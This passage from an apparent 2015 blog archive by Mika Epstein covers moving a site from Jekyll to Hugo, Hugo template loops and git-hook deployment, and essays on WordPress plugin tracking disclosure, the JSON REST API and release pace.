That’s not right. I spent a few hours trying to run it in various permutations, but I was never able to get it to run right. Thankfully, I didn’t need to since I could just copy my content over. There was no translation needed, as I was already using yaml headers in my .md files so that actually was a pretty painless transition.
The theme on the other hand… Well. I had a complex site with data files and weird junk being thrown around. That was just learning how to translate for-loops for ranges, with some where clauses tossed in.
Was it hard? Yes. But that’s not what you’re *really* asking.
## Was it worth it?
Excuse me while I whip this out:
Yes. The site builds faster, which is a win. It also creates tags and categories that can automatically cross link. I can make ‘sections’ without having to define them in my config file, just by making folders. I can spin up templates quickly. I have a little more redundancy than I’d like, but as I master GoLang, this becomes less and less.
Build time ranges from 11737 ms to 2116 ms. Milliseconds. They were into the minutes with Jekyll, even though Jekyll 3 was notably faster than version 2. It was still taking me about 2 minutes to rebuild the Jekyll site, even with incremental builds working. Plus I had to build and rsync every time, in addition to Git pushing. Now I just Git and done.
Oh and JSON works remotely out of the box. I just have to get better at my range calls now.
## What’s Different?
Making a ‘static front page’ with Hugo is harder. In fact there’s still an [open trac ticket on it](https://github.com/spf13/hugo/issues/330). I was able to use an idea I already had, a custom post param called “type” for tagging ‘index’ posts in the news pages so I didn’t get a list of my indexes when I wanted to list all news from 2002. I leveraged that and tagged my primary index ‘mainindex’ and put a quick check in my `index.html` in my theme:
Instead of doing a normal loop where, like a blog it shows me posts in reverse order, it just showed that specific content.
But…
If there’s a file in that Section with the type of ‘Index’ then it shows that. Of course… While `index.md` doesn’t get used in the main content folder, it **does** in Sections. If I have a file named `index.md` in a section, that makes `index.html` like I expected. Since I still wanted lists in the majority of cases, I tweaked the content of my default list file (`list.html`) so that I could always show a ‘main’ file:
Then I renamed all the `index.md` files in the Sections to `main.md` but this created another issue. Now I had two URLs that worked. I could have put this into the template for the section to avoid this, but I want to separate content and theme as much as humanly possible. WordPress habits. For now, I’ve left this alone. If someone is clever enough to go to a non-linked, non-sitemaped page *instead* of the index, I think my SEO will live. It’s more than I wanted to play around with loops.
Speaking of the loops and lists, getting a list of a ‘sub section’ is not currently possible either. Rather, they do work, but [there’s no default templates for sub-sections](https://github.com/spf13/hugo/issues/455). This was a small problem since I structured my site like this:
Now, I don’t need a custom template for each sub-section, but I *did* want to use my custom *list* template for each sub-section. To work around this, I made a template in `/layout/section/news.html` that had this:
I know this is weird. The **Type** of index means “I am the main index file of the section” while the **topic** index means “I am an indexing file and not a normal news article. This gives me my main index of `/news/` giving me a custom content page with information like I wanted, using the `main.md` format I use in all sections.
Then in each sub-section, I use a very simple `index.md` file:
That weird bit in the content is a shortcode ala Hugo, which calls the file `/layouts/shortcode/news.html` that has this:
That spits out a table of all the pages in that section by date.
## What’s Next?
It took a lot to get here, or so it may seem. This took me two nights to work out. That’s it. So now I have to figure out the next steps that have vexed me:
1. How do I properly mimic a for-loop with range?
2. Can I make a responsive gallery out of Hugo?
3. Can I power a Hugo site with WordPress JSON?
And that’s a whole ‘nother story.
**Categories:** How To
**Tags:** golang, jekyll, moving
---
### [Looping Hugo](https://halfelf.org/2015/looping-hugo/)
**Published:** December 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Looping through Hugo became a day of insanity when a variable couldn't decide if it was an integer or a string.
**Content:**
I’m ending the year with something non-WordPress. But it has a weird JSON related journey.
I asked three questions at the end of my [last post](https://halfelf.org/2015/porting-jekyll-hugo):
1. How do I properly mimic a for-loop with range?
2. Can I make a responsive gallery out of Hugo?
3. Can I power a Hugo site with WordPress JSON?
This is the answer to the first one. However in the solving, I made a breakthrough in my head about how one calls data from JSON and structures it.
But I’m getting ahead of myself, becuase changing a for loop from Jekyll to Hugo was harder than I expected. Way harder.
One of the things I check in some posts is what the rating is. I set a parameter called ‘rating’ and if it’s there, I ran a quick check to determine how many stars to show:
I was pretty damn proud of that loop. Check the rating, output a gold star for each number over 0 and a grey star for every number between the rating and 5. It’s simple but it’s quick.
Transposing from Liquid to GoLang was not as hard as all that. `{% %}` became `{{ }}` and `{% endfor %}` became `{{ end }}` and, at first, that was the easy stuff. The majority of my logic was a one-to-one translation. Change `page.rating` to `.Params.rating` and so on and so forth.
The order of the if’s was strange to me, in that it became `{{ if eq A B }}` (except when it wasn’t) and I was used to thinking `{% if A == B %}` — it was fairly easy to overcome. In short order, all my simple if-checks were done.
But those damn loops! I had the ugliest “if A == 1, show 1 gold and 4 grey” configuration. And worse, I had cases where I was checking “If there’s an entry in the Filmography for this show, get the rating from that and not the page itself.” The Filmography file was a straight-forward JSON file, you see (told you JSON was involved).
Back to the first problem. I knew if I wanted a shortcode to say “Get me a list of all pages, by date, where section is news” I did this:
`{{ range where $.Page.Site.Pages.ByDate "Section" "news" }}`
And that `$.Page.Site.Pages.ByDate` call changed depending on what template I was on and what I was calling. For a shortcode I had to pass though page to site to pages. On a template I could do `.Data.Pages.ByTitle` (no `$` needed either). I’m still at the trial and error stage of figuring out which call and where, but I know I’ll get there. It’s just mastering new syntax and understanding where I’m calling from and what [variables](https://gohugo.io/templates/variables/) are available to me.
That’s really okay. It took me years to visualize the interrelations with WordPress themes and functions and plugins, and even then sometimes I’ll output an array in ugly, unformatted ways just to read through and make sure I understand what I’ve got at my disposal. This is normal for most of us.
And it was fairly clear that if I wanted a shortcode to call the data file and not a list of Section pages, there was code for that: `$.Page.Site.Data.filmography` (back to Filmography again). And that worked fine. Right up until I wanted to say “For all values where X equals Foo…” and I was back to my loop-headache.
Now. GoLang *does* have a for loop!
And I though that I could just use that. Nope! So I asked myself why did `{{ for i in (1..Params.rating) }}` fail?
First of all, that ‘in’ should be `:=` instead. But even so, when I ran it I got “ERROR: function “for” not defined.” That means there is no `for` function. And no loop. After looking at how I was iterating in other places, I did this:
> ERROR: 2015/12/12 template: theme/partials/rating.html:3:26: executing “theme/partials/rating.html” at <.Params.rating>: range can’t iterate over 3 in theme/partials/rating.html
The 3, in that case, had to do with a rating of 3. This makes a little sense, since you’re *supposed* to use range to iterate over a map, array or slice. A number is none of those.
Thankfully I found a ticket talking about [adding a loop function to Hugo](https://github.com/spf13/hugo/issues/552) that was addressing what I was trying to do and finally I had an answer:
The idea there is that `seq` makes a sequence of the value of `.Params.rating` for me. If the value is 3, I get an array of `[1,2,3]` to work with. And that’s something `range` can itterate over!
Except…
> at ``: error calling sub: Can’t apply the operator to the values in theme/partials/rating.html
Now the amusing thing here is that the code worked! Even if it wasn’t seeing `.Params.rating` as an integer, it did the math. I suspect it’s related to [this old bug](https://github.com/spf13/hugo/issues/551), where variables from front matter are strings and not integers. Except that he said it worked in YAML and that’s what I’m using.
This was the most perplexing issue. How is a number not a number if it’s being numbered? And then I noticed that I was able to make a sequence, so clearly at that point it knew it was a number. And then I did this:
And yes it works.
I’m basically saying “Hey, how many ones are in the number X?” and saving that as a number. There’s no real reason I can comprehend why it failed to work, but there it is. I’ll file a bug as soon as I can figure out how to explain that in a way that doesn’t make me sound crazy.
How did all this teach me about JSON? You’ll have to wait a few days.
**Categories:** How To
**Tags:** coding, hugo, shortcode
---
### [Mailbag: Wasting Time](https://halfelf.org/2015/mailbag-wasting-time/)
**Published:** December 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Everything comes back to WordPress.
**Content:**
Today’s question comes from a Slack DM tossed my way about learning and possibly discarding Jekyll.
> Don’t you think you’re wasting your time learning all these nonWordPress things?
Nope! Every single thing I’ve learned and discarded has improved my skill set.
Let’s take MediaWiki. Learning that taught me templating in a way that I never would have understood in WordPress. It also taught me about the perils of your ‘own’ language instead of HTML. While I’ve come to like Markdown, you still have to know HTML to make Markdown really work, because you need to understand what it is you’re writing.
And Jekyll? I learned a lot about importing and exporting data between ‘languages’ that don’t like each other. I also learned a lot about deployment of static content. Anything but FTP, right? Jekyll had me writing my own deployment scripts.
Now that I’m looking at Hugo, really not much has changed. I’ve learned [GoLang](https://golang.org/), which is not all that different from things I already knew. But it’s expanding how I think about the logic structures. Hugo’s got an up on Jekyll in a lot of ways, like how easy it is to make loops for traditional blogs. Also it can handle remote JSON a little better, which sets me up for what’s next.
You see, *all* of this work, all this learning, is going to come back to WordPress.
What I want to do is manage my site in WordPress and have that output the JSON (via that [awesome new JSON API I’ve been learning](https://halfelf.org/2015/beginning-understand-json/)), which will in turn be *dynamically* called when I want to build my static HTML site.
For sites you’re not updating daily, or even weekly, this might be the magic you need. Everyone writes on WordPress. Someone has a command (or even a script) to run that collects everything from JSON and dumps it to Hugo, which generates the site for you to proof and then push.
Version controlling the content.
Let the users write in Wordpress while you bask in the glory of your static site that is, pretty much, unhackable as a CMS. I mean… what are you going to do to my HTML?
See?
It’s all WordPress.
**Categories:** How It Is
**Tags:** hugo, learning, mailbag, wordpress
---
### [Deploying with Hugo](https://halfelf.org/2015/deploying-hugo/)
**Published:** December 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deploying on Hugo is a lot easier since it runs on my server too.
**Content:**
One of my headaches with Jeykll was the deployment. It wasn’t until I found Octopress that I had any success. Hugo wants you to use Wrecker for automated deployment. I don’t want to since I don’t host on GitHub.
## Deploying (v1)
The first method I could use is a script like I have with Octopress, which runs an rsync, but instead I went with a git post-update hook:
```
GIT_REPO=$HOME/repositories/my-repo.git
TMP_GIT_CLONE=$HOME/tmp/my-repo
PUBLIC_WWW=$HOME/public_html/
git clone $GIT_REPO $TMP_GIT_CLONE
rm -rf $PUBLIC_WWW/*
cp -r $TMP_GIT_CLONE/public/* $PUBLIC_WWW
rm -Rf $TMP_GIT_CLONE
exit
```
And that copies things over nice and fast. I could do this for Jekyll as well, since now I’m version controlling my site content (in public) as well as my source code. There are downsides to this. I don’t want to sync my site folder. It’s going to get very large and messy and annoying.
The workaround for Jekyll people is to install on the server and that didn’t work for me.
## Install on the Server
But Wait! There’s More!
I actually like Hugo better than Jekyll,. It feels slicker and faster and more … app like. Also since it’s not Ruby, I was able to install it properly on my server. Yes, unlike Ruby which was a crime, GoLang was incredibly easy to install on CentOS 6.
First install Go and it’s dependancies:
```
$ yum install golang
$ yum install hg
```
Now install Hugo. No you can’t yum it up:
```
$ export GOPATH=/usr/local/go
$ go get -v github.com/spf13/hugo
```
This puts it in /usr/local/go/bin/hugo and I can run Hugo commands natively.
Which brings me to …
## Deployment (v2)
Change the aforementioned script to this:
```
GIT_REPO=$HOME/repositories/my-repo.git
TMP_GIT_CLONE=$HOME/tmp/my-repo
PUBLIC_WWW=$HOME/public_html/
git clone $GIT_REPO $TMP_GIT_CLONE
/usr/local/go/bin/hugo -s $TMP_GIT_CLONE -d $PUBLIC_WWW
rm -Rf $TMP_GIT_CLONE
exit
```
Works perfectly. Unlike Ruby which is just a brat.
## Now the Magic
When I’m ready to write a new post, I can locally spin up my hugo site with `hugo server`, write my post, make sure it looks nice, and then commit my changes to git and push.
```
cd ~/Development/my-repos/hugo-site/
hugo new content/some-file.md
vi content/some-file.md
git add content/some-file.md
git commit -m "revised some-file"
git push deploy master
```
And it all works.
Massive hattip to [Andrew Codispiti](http://www.andrewcodispoti.com/deploy-process/) for detailing his work which made mine easier.
**Categories:** How To
**Tags:** deployment, hugo
---
### [Consenting to Collection](https://halfelf.org/2015/consenting-collection/)
**Published:** December 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Content:**
Collecting information on users is something every program wants to do. Doing it is easier said than done.
When you build a product, you want people to use it. Obviously. But more than that, you want to know *how* they’re using it so you can know how to make it better for everyone. In order to get that information, you need to monitor and track your users.
I hate that.
So do most users, actually.
In the world of social media, with photos flying left, right, and center about what we’re doing and where we’re going and what we’re eating, controlling that data can make someone a king. At least, if they know how to use it.
The issue with data collection is consent.
If you have a WordPress plugin, you’re not allowed to track users without their consent. You must let them opt in. But that’s the easy part. The hard part is getting the users to *understand* what they just agreed to.
No one reads EULAs. We all see that license agreement when we upgrade our phones, we scroll down, and we click okay. We don’t read. While, arguably, we should, the issue is not just that we don’t read but that we’re getting too much information, and none of it really is what we needed to know.
With WordPress plugins (and you can easily reach to Drupal extensions with this), we have a unique opportunity to educate our users.
“Allow tracking. By checking this box, data will be sent to the service X in order for me to learn about usage and develop improvements.”
Simple and direct. I would even add in a link to Service X, or better yet to a page that explains exactly what is tracked. When you do this, you will be educating the user as to exactly what ‘tracking’ means.
Past the consent is the world of *how* to do the collection.
## Size Bloat
I have a big beef with plugins that use frameworks because a high number of developers do this and make their plugins hundreds of times larger. I see, regularly, a one-page plugin where someone uses a framework instead of learning the settings API. And that’s the first issue. These frameworks for tracking are big. They can be megs of files that add more bloat to a plugin.
There’s a new tool out there to help developers track the usage of plugins. If you add that to your plugin, it’s *your job* to make sure it doesn’t violate any terms of use. If you add it in later, consider what this will do to people upgrading. Will people who use small, shared, hosts run out of memory upgrading your plugin because it’s now 10 megs?
## Sinking Speeds
There’s another massive issue, which is the speed of the site. The more trackers you add into a site, the slower it gets. This is pretty basic logic and you’ve probably seen it from Google Sitespeed. “Your site is connecting to too many other servers.” The more sites a domain has to hit to load, the slower it is. Period.
Services have to hold up, too. If someone crashes the service because they get featured on Post Status or Reddit, then that is a part of your responsibility as a plugin developer. You’ve added in a feature. It now is broken. What happens to your users? Did you break their sites? What if they can’t reach the host because it’s blocked in China?
## Full Disclosure
We’re back to this for a reason. I had a whole post about it, from the developer perspective in being upfront of who is doing the tracking in a service. But that was really about informing the person who installed the plugin. Now I want to address the visitors. When you’re tracking the usage of your plugin, you have to be clear as to what you’re tracking and specificlly who you’re tracking.
If you’re tracking visitors to the site, you have to make sure the person running the site knows, so *they* can make sure their visitors know. That’s their job. Yours is to educate in a clear and direct way.
## Be Honest
This is really your golden rule. Be honest and up front with what you’re tracking, why you’re tracking it, what you do with the data, and protect yourself. You’ll need the legalese yes, but you should make those things human readable too.
People want to know who has their data.
Make it easy to know.
**Categories:** How It Is
**Tags:** development, essay
---
### [Disclosure](https://halfelf.org/2015/disclosure/)
**Published:** December 21, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Fully explaining what it is your product does is an absolute must.
**Content:**
One of the myriad reasons I push back on WordPress plugins is because someone didn’t disclose enough information about ‘phoning home.’ Phoning Home is simple concept that comes down to this “Don’t send data from the plugin users back to yourself (or anyone else), *unless* you’re a service. And if you are a service, make this clear in the readme.”
Simple, right? It’s totally easy to understand that we want you to tell people “Hey, if you use this plugin, it will report back to my servers…” Much of the time, this is obvious. A Facebook connection plugin, logically, contacts Facebook. Embedding YouTube playlists contacts YouTube. Those sorts of things we don’t worry about, though if you have your plugin say “This will pull data from YouTube” then it’s better. Sometimes this is less obvious, like if you use geoplugin.net to determine locations. Your plugin probably has nothing to do with that domain, but you still have to tell people about it so they know.
But why do they need to know?
First of all, this is the basic email I’ll send you if I see you’re not explaining the phone-home in your plugin:
> Plugins that send data to other servers, call js from other servers, and/or require passwords and APIs to function are required to have a full and complete Readme so we can make sure you’re providing the users with all the information they need before they install your plugin. Our goal with this is to make sure everyone knows what they’re installing and what they need to do before they install it. No surprises.
>
> This is especially important if your plugin is making calls back to your own servers. For the most part, we do not permit offloading of images or code, however in the case where you are providing a service (like Disqus or Akismet or Twitter), we permit it. The catch is you have to actually explain this to the layman in your read me, so they know where data is going.
Clearly there are some basic reasons, like we should know where our data is going for our own safety. There are also some surprising reasons to people who don’t think about these things, like legal ones. You’re calling out to other servers? What if my company legally can’t do business with them? Then we have the tin-foil hat reasons, like I don’t want to do business with Google so I don’t want to have Google JS in my plugin.
All that sounds pretty basic. And some of it is super obvious. If you’re making an app to communicate with Facebook, then it’s logically going to send data to Facebook. None of that surprises anyone, nor should it. With a service, one simply has to be up front about what the product does, what services it connects to, and why.
“This plugin pushes your comments from your Facebook page to your blog, matching users by email addresses with their Facebook accounts (if found).”
I just made that up. But it’s upfront, it’s honest, it’s direct, and it’s clear what’s being sent and where and why.
There’s another aspect to this, however, something that is far trickier and more complex. What happens when your existing tool adds a service?
The obvious answer is that you need to disclose this change to our users. As long as the users know what they’re getting into, then you are golden. The complex answer, the one I can’t really tell you a one perfect answer for, is *how* you might do this.
Why is this hard? It’s hard because there is no one right way to tell users about the change. There is no one perfect way to make sure users read the information. There is no one way to get all the data to all the people who need to know about the information.
And there sure as hell isn’t one way to make sure no one will complain about any of that.
When you make a change to the paradigm of what your tool does, taking a stand alone tool and adding in a service, you have to consider that a percentage of your users will rebel. This is simply because all those wonderful things you do about disclosing the service for *new* users have to be transitioned in a meaningful and logical way to *existing* users. And there is just no way to do that perfectly.
This doesn’t mean you shouldn’t try. This means you have to be creative and innovation and a little ‘in your face’ about the change. You have to give users an option, before the service kicks in, to say if they want their data shared.
**Categories:** How It Is
**Tags:** development, documentation, wordpress
---
### [Hugo](https://halfelf.org/2015/hugo/)
**Published:** December 14, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's no app quite like Hugo. Where ever you go, I go. So Bye, bye, birdie!
**Content:**
I’ve been playing with Jekyll a lot. After WordCamp US, I started toying with the idea of a JSON powered Jekyll site, where WordPress output its posts as JSON and Jekyll pulled in the posts and converted them. This ran into many snags. It wouldn’t be ‘dynamic’ for one, but the biggest issue is that Jekyll’s JSON reading ability was terrible. It didn’t like the complex JSON that WordPress put out.
That sent me hunting down other things like [Hugo](http://gohugo.io/). Unlike Jekyll and it’s use of Liquid, Hugo uses Go (hence the Go in the name you see).
Installation (on a Mac) is easy.
`brew install hugo`
Done. It’s harder on my server, but still easier than Jekyll, which started to become a ‘thing’ as I worked through all this.
Using Hugo is remarkably similar to Jekyll except that it works faster and a little more smoothly. The site builds incredibly fast and it dynamically refreshes. So if I edit a post, the page refreshes itself. This let me tweak my theme and posts and sort out the new language incredibly fast. Edit a file, boom, I see what’s wrong.
It’s about as logical as Jekyll too, so it took me one DayQuil addled afternoon to sort out how to make things work.
## The Basics
The basic are simple. You have a basic structure like this:
```
▸ archetypes/
▸ content/
▸ data/
▸ layouts/
▸ static/
▸ themes/
config.toml
```
The config file is what you think it is. Your posts go in content and the html-ized version shows up a public folder that gets created on the fly. The data folder is for your static data like a .json file or a .yaml.
Independant to your theme, you can put css and js in the static folder, and layouts in the layout folder. Ditto archetypes, which are post-types. So if you know you’re always going to have a post type of ‘musician’ and you want it to have special headers, then you can have an archetype called musician.md with all that pre-filled in. Then when you want to make a new entry for Clifford:
$ hugo new musician/clifford.md
You can also have those in your theme if you wanted, but generally I use the same theme and separate projects. At this point, I was impressed enough to be swayed from Jekyll. I’m not going to explain how to write a post, since it’s just markdown and a header, just like Jekyll or GitHub Pages.
## Building Your Site
The commands are basic. Running `$ hugo server` will build your demo server. Of course, you’ll want to post your drafts, so you need to add the param `--buildDrafts` … Oh and you want a theme …
`$ hugo server --theme=utility-pro --buildDrafts`
That’s silly, right? Why do I have to define all that? Thankfully I can edit my config.toml file:
```
baseurl = "http://example.com/videos"
languageCode = "en-us"
title = "My Super cool Video Library"
theme = "utility-pro"
buildDrafts = "true"
[params]
Subtitle = "Videos about cats, collected from the internet."
```
Now every time I run the command ‘hugo’ it will build my drafts with my theme!
```
$ hugo
45 of 45 drafts rendered
0 future content
45 pages created
42 paginator pages created
14 tags created
3 categories created
in 254 ms
```
That’s incredible fast seeing as it built everything. Of course the other site I have is a great many more pages.
## Theming
Since I’d already mastered Jekyll theming, this was trivial. Go and Liquid are weirdly similar and most of it was transposing. There’s not much to say here except that there’s a [Twenty Fourteen Theme](http://themes.gohugo.io/twentyfourteen/) for Hugo and it’s pretty much what you expect. For WordPressers, it’s a good place to start.
## Shortcodes
The neat thing is that Hugo has shortcodes! They’re not like WordPress ones, but you can see the similarity between WordPress and Hugo.
```
[video mp4="video.mp4" flv="video.flv"]
```
vs.
```
{{< video mp4="video.mp4" flv="video.flv" >}}
```
Sadly there’s no oEmbed. And I had to write the shortcode on my own, but again, if you know the basics of logic all this stuff is easy. Here’s the magic behind the shortcode:
Once you look at it, it’s remarkably like WordPress. Only I don’t need a plugin. Everything in `/layouts/shortcodes/` are like `mu-plugins`.
## And So?
And so Hugo won enough of my attention that I’m going to keep playing with it and see what’s next.
**Categories:** How It Works
**Tags:** golang, hugo, jekyll, static site
---
### [Mailbag: Why did you ask that at the Town Hall?](https://halfelf.org/2015/mailbag-ask-town-hall/)
**Published:** December 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I ask the tough questions sometimes, and I accept answers I don't fully agree with.
**Content:**
Last weekend, at WordCamp US, I asked a question at the town hall.
At its heart, the question was that did Matt feel the rapid release cycle of WordPress major revisions was too fast? I asked this based on the concerns I hear voiced by plugin developers, generally the smaller shops (single person or under ten teams), who not only have to test their plugins with the new versions of WordPress, but also learn these new, rapidly evolving and changing, libraries like ReactJS and the REST API.
Matt’s answer was essentially no, and that he felt that things would only get faster. Also he said he didn’t think plugins should be one-person shops.
> What did you think of the answer?
I was asked variants of this by many people that night and the next day.
I disagree with Matt somewhat.
This isn’t a shock. I’m sure he’ll read this and nod. But he and I both know that a health disagreement can be good for an ecosystem. I understand his point, and in many ways agree with it. A team project for plugins and really any development is what makes things improve faster. Two heads are better than one.
But at the same time, we look back on things like Yoast SEO, and to think that those can only exist while supported by a team is to forget the way that all of this, even WordPress, started.
One person has an idea. One person shares the idea. A second person makes a suggestion.
One person.
Of the 45,000 plugins in the repository, the majority happened because of one person. One person had an idea and a dream and built a plugin. One person learned a thing and shared it. One. And the harder we make it for that one person to grow, the harder it will be for them to become the next Yoast, or Woo, or Jetpack.
As of this post, we released four major releases of WordPress within 355 days. I think that speed for the sake of speed is as bad as dragging out feet and having one release a year. Yes, we have *improved* our stability by having more frequent releases, because we don’t rush to have an unready feature added to a release. There’s going to be another soon. And that’s a good thing.
At the same time, it’s pushed us to release faster and faster, and that causes the bar to be set too high to new people. It causes burnt out. It causes update fatigue.
I don’t think we should revert to ‘release when it’s ready’ again. That has as many problems (if not more) as ‘release X times per year.’ I do feel we need to consider the emotional health and the supportability of what we are releasing.
Do it well, do it fast, do it cheap. Pick two. And know that the price is from our blood and bone.
I think we should turn it down a notch. Just one notch. And we should stop releasing just to be sure we release a number of times a year.
**Categories:** How It Is
**Tags:** mailbag, town hall, wordpress
---
### [Beginning to Understand JSON](https://halfelf.org/2015/beginning-understand-json/)
**Published:** December 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Starting to understand all the fuss about the JSON API.
**Content:**
Themes without php …
Dynamic content without page requests …
What about Multisite without Multisite?
These are all things I’ve heard when people talk about the JSON REST API and how it’s the next greatest thing in WordPress. Well great, but what *is* it?
REST stands for representational state transfer. It’s actually the juice that’s been powering the web since forever. RESTful systems generally run over HTTP (hypertext transfer protocol) and use the agreed upon language to get and put data. REST gives you a way to read and write data programmatically. You’ve been using it for years without even realizing it.
This means our question isn’t what is it, but why do we want it or care about it?
The WordPress REST API is a nice way to get at the data from WordPress without having to load all the heavy parts of WordPress. It’s useful for things like mobile apps, which don’t need to load everything, just the data, and it’s faster.
Now, yes, WordPress has an API, called XML-RPC, and it sucks. You’ve used it already if you use the iOS app. We also have APIs like RSS, but that’s pretty much read only. The reasons that the current implementation of XML-RPC sucks are myriad, but basically it’s due to security, abuse, sanitization, and weight. It’s powerful but expensive and risky.
The JSON API being added to WordPress aims to simplify and secure all that.
> Want to get your site’s posts? Simply send a GET request to url.com/wp-json/posts. Update user with ID 4? Send a POST request to url.com/wp-json/users/4. Get all posts with the search term “awesome”? GET url.com/wp-json/posts?filter\[s\]=awesome. It’s that easy.
The [WP API](http://v2.wp-api.org) is very simply the interface to make it easier to get at your data. That’s it. How it does it is incredibly complicated. What it does is simple.
Make it easier to get at my data without loading WordPress itself.
What I dig the most about it is this idea.
Take a website running [backbone js](http://backbonejs.org) that calls the JSON API from your WordPress site. Say frontend.com and backend.com are your URLs. You blog on backend.com and use WordPress normally. Your readers will visit a non WordPress site on frontend.com….
Go on then. Hack the front end.
It’s not WordPress, so unless you introduce an endpoint that puts you at risk, you have a way to protect your content. Plus now you can upgrade your blog all you want without having to worry really about taking your blog down.
Obviously this isn’t perfect. By not using WordPress on the front end you won’t have access to a lot of features from plugins. Like related posts. [And then again, maybe you can use related posts](https://wordpress.org/plugins/wp-simple-related-posts/). [Maybe you can even us Jetpack’s related posts](https://developer.wordpress.com/docs/api/1.1/post/sites/$site/posts/$post/related/).
Mind? Blown.
If everything WordPress can do the JSON API can do, then there’s nothing I can’t do. I can make any site where I run WordPress on the backend and anything I want on the front end. And now I can separate my site data, run by WordPress, and my theme and it’s options. I can dry run theme changes and layouts using my live data. I can tell the JSON API frontend.com site to ignore all posts with a special status, tell testend.com to use them, and draft posts.
Migrations become easier. Who cares where the backend is, as long as the API frontend.com page can call what it calls.
WordPress is becoming more and more of an application, and that is why we can all be excite about being at REST.
**Categories:** How It Works
**Tags:** development, json, rest api, wordpress
---
### [Calypso](https://halfelf.org/2015/calypso/)
**Published:** December 7, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's just an app to the left, and then a blog to the right as we get used to the new world order of WordPress on the desktop.
**Content:**
You’ve heard about it. Calypso, the WordPress desktop editor for Macs. I’ve been using it and I’m going to give you a quick rundown on what I like and what I don’t.

## Like
First of all, it’s Open Source, which is great to look at. Anyone can poke at it and play with it. It’s also a nice GUI to use. Markdown works out of the box if you have it set up in Jetpack. That’s awesome since I’ve gotten very used to using it thanks to Jekyll.
It’s very fast as well, which is great. Fast is good. It also saves rather quickly, even when I’m on some shitty wifi. It’s much faster than using the native WordPress editor.
There have been some bumps in the road, but the development is open to comments and suggestions and steering. Some of the decsions made make sense from every angle except the end users. Users use things in weird ways and, once explained, development seems willing and able to adjust.
## Dislike
There’s no spell check. This makes me very sad (I’ve been told it’s a feature request). Clicking back and forth between my sites is a little annoying, and I can’t easily hide sites (or reorder them). There aren’t tabs either, which means I can’t write on three or four posts at once. Yes, I totally do that.
You can’t do Custom Post Types. Yet. This is a deal breaker for one of my sites. Basically I can’t manage my WordPress eCommerce store with this. You also can’t change color schemes. I somewhat wish that it would pick up my user settings and use the profile color from MP6 that I selected there. That way I’d have purple for some posts, green for others, and I’d always easily know where I was.
## On the Fence
I don’t really like that it forces me to use Jetpack, but at the same time, the REST API isn’t in core yet, so this makes sense. Similarly, I don’t like that it’s Mac only, but I understand why. Unlike ‘traditional’ software development, the people on the WordPress.com project are primarily Mac users. Of course they went to Mac first. Since it’s open source, I’m hoping someone figures out how to Windows it up soon. Making it Unixy shouldn’t be too hard, since Mac is running Unix.
Back to Jetpack, I would love to see this forked and decoupled from Jetpack, using the REST API instead. Not because I hate Jetpack (quite the opposite) but because I’d like to set my father up with this, and he travels to China where WordPress.com (and Jetpack) are problematic thanks to the Great Firewall.
## All in All, I Like It
So far, so good. I like Calpyso and it’s no great effort to remember to use it, unlike pretty much every other desktop app for WordPress. And yes, I’ve tried those.
**Categories:** How It Is
**Tags:** app, desktop, essay, wordpress
---
### [It's Okay To Overwhelm](https://halfelf.org/2015/overwhelming/)
**Published:** December 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When we're overwhelmed we may make mistakes, but we'll learn a lot too.
**Content:**
“Your email overwhelmed me! I can’t do this!”
That’s what the email reply I got was. It had started innocently enough. Someone asked how to set up Multisite. I linked them to the article and sent them a free copy of my ebook [WordPress Multisite 101](http://store.halfelf.org/ebooks/wordpress-multisite-101/).
He emailed back asking again how to to it and I replied that he needed to read the link and the ebook and, if he had a specific question, to ask, but otherwise, those two items were what I could do for him at the time. He wasn’t a customer, a client, or even a friend. He was barely a friend of a friend of a friend. There was no social contract or legal one. He was basically someone who asked a question.
Seven emails later and a very angry chain, he finally explained that he had **already** activated Multisite, before the initial emails, and it was broken. He could no longer log in and, damn it, he didn’t actually WANT multisite. So I explained he needed to un-do Multisite, showed him where (in the ebook, and via a link) he could get directions on that.
And that overwhelmed him.
Now at this point, my friend who introduced him to me apologized and said he’d explain to the guy what ‘taking advantage of someone’s kindness’ meant.
While I do feel sad that I overwhelmed someone and that he was in over his head, I don’t feel any guilt for not providing hands on help like that. There’s a limit to how much ‘freebie’ you can throw out into the world, and this fellow was not being very clear about what his actual situation was. If it had started with “I accidentally set up Multisite. How do I undo it?” I would have given him a quick set of directions with a note of “If editing the DB is too complicated for you, you’ll need to hire someone.”
*There is no shame in hiring someone when you’re overwhelmed.*
When you’re in over your head, you will make bad assumptions, get lost, and make expensive mistakes. If you think someone is expensive before you start your own demolition and plumbing, imagine how much the cost will be when they have to fix what you did to yourself? Websites are pretty much the same way. It’s the nature of the service industry really. You’re trying to perform a service on your own instead of paying an expert. If you get it right, awesome, you’ve learned new things and have a new skill! If not, you pay more.
But that’s actually why I think it’s okay to overwhelm someone sometimes. When you give them a large amount of data, if they’re willing to learn and concentrate, then they can learn not only about a process but about themselves. The issue isn’t the data dump but how we react to it.
When you’re overwhelmed, and believe me I’ve been there too, you have to take the elephant one bite at a time. You didn’t know how to drive a car perfectly the first time you sat in one. You couldn’t ride a bike from day one. You won’t be able to do *anything* 100% correctly out of the gate unless you’re a savant. Most of us aren’t.
Perfection is the enemy of progress, though. If we all wait until we’re perfect, we’ll never get anywhere.
It’s alright to be overwhelmed. It’s not alright (though certainly understandable) to let that prevent you from making progress.
Be overwhelmed. At if, in that moment, you learn one thing, then you’ve made progress.
**Categories:** How It Is
**Tags:** essay, learning
---
### [I Am The 20%, And So Are You](https://halfelf.org/2015/i-am-20/)
**Published:** November 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I have always and will always fight for the users. Even when they outnumber me. I am the 20%.
**Content:**
We speak of innovation in WordPress. We present new features like post embeds and emojii, things not everyone wants to use on their sites, things that slow down sites, and we tout how we are making things better.
But do we consider all the users when we do this?
One of the tenets of WordPress, one of the core philosophies, is that we make decisions, not options. And we base these decisions on the 80% rule. We say if a feature will not be used by 80% of the user base of WordPress, we won’t add it.
